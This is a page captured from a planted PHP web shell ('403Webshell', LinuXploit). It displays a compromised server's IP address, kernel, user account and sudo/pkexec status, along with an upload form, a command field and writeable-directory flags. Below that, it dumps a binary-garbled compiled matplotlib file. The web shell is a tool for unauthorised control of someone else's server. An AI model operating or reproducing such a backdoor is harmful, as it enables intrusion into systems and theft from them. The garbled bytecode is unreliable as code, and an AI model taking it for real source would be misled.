403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/_tight_bbox.cpython-39.pyc
a

���h�
�@s0dZddlmZmZmZddd�Zd	dd�ZdS)
zE
Helper module for the *bbox_inches* parameter in `.Figure.savefig`.
�)�Bbox�TransformedBbox�Affine2DNc
sz�j��j��jj�g�g�t���jD]~}|��}|durL|�||d����|�|j	dd��
�}|�|fdd��d|jvr���|j�n
����ddd�|_q(�������fdd	�}|durΈj
}t��|�}|�j
}tjd
d
g|j�R��_|�|j�\}	}
�jj|\}}t�|	|
||��j_�j��t�j|��_�j�|	||
|�jj|�jj|�|S)aO
    Temporarily adjust the figure so that only the specified area
    (bbox_inches) is saved.

    It modifies fig.bbox, fig.bbox_inches,
    fig.transFigure._boxout, and fig.patch.  While the figure size
    changes, the scale of the original figure is conserved.  A
    function which restores the original values are returned.
    NF)�originalcSs|S�N�)�a�r�_posrr�@/usr/local/lib/python3.9/dist-packages/matplotlib/_tight_bbox.py�<lambda>�zadjust_bbox.<locals>.<lambda>�apply_aspectcSsdSrr)�posrrrr%r
cslt�j���D](\}}}|�|�|�ur0|`q||_q��_��_��j_�j���j	�
dddd�dS)Nr�)�zip�axes�set_axes_locatorr�bbox�bbox_inches�transFigure�_boxout�
invalidate�patch�
set_bounds)�ax�locZaspect�r�figZlocator_listZ
old_aspectZorigBboxZorigBboxInches�sentinelrr�restore_bbox's

z!adjust_bbox.<locals>.restore_bboxr)N)rrrr�objectrZget_axes_locatorr�append�get_position�frozenr�__dict__ZdpirZscalerZfrom_bounds�sizeZ	transformZp0rrrr�width�height)
rr�	fixed_dpir�locatorZcurrent_posr �trZ	dpi_scaleZx0Zy0Zw1�h1rrr�adjust_bboxs@






�r-cCs"|\}}|�t|||�}||fS)z�
    A function that needs to be called when figure dpi changes during the
    drawing (e.g., rasterizing).  It recovers the bbox and re-adjust it with
    the new dpi.
    )r-)rZbbox_inches_restorer)rr r	rrr�process_figure_for_rasterizingIsr.)N)N)�__doc__Zmatplotlib.transformsrrrr-r.rrrr�<module>s
A

Youez - 2016 - github.com/yon3zu
LinuXploit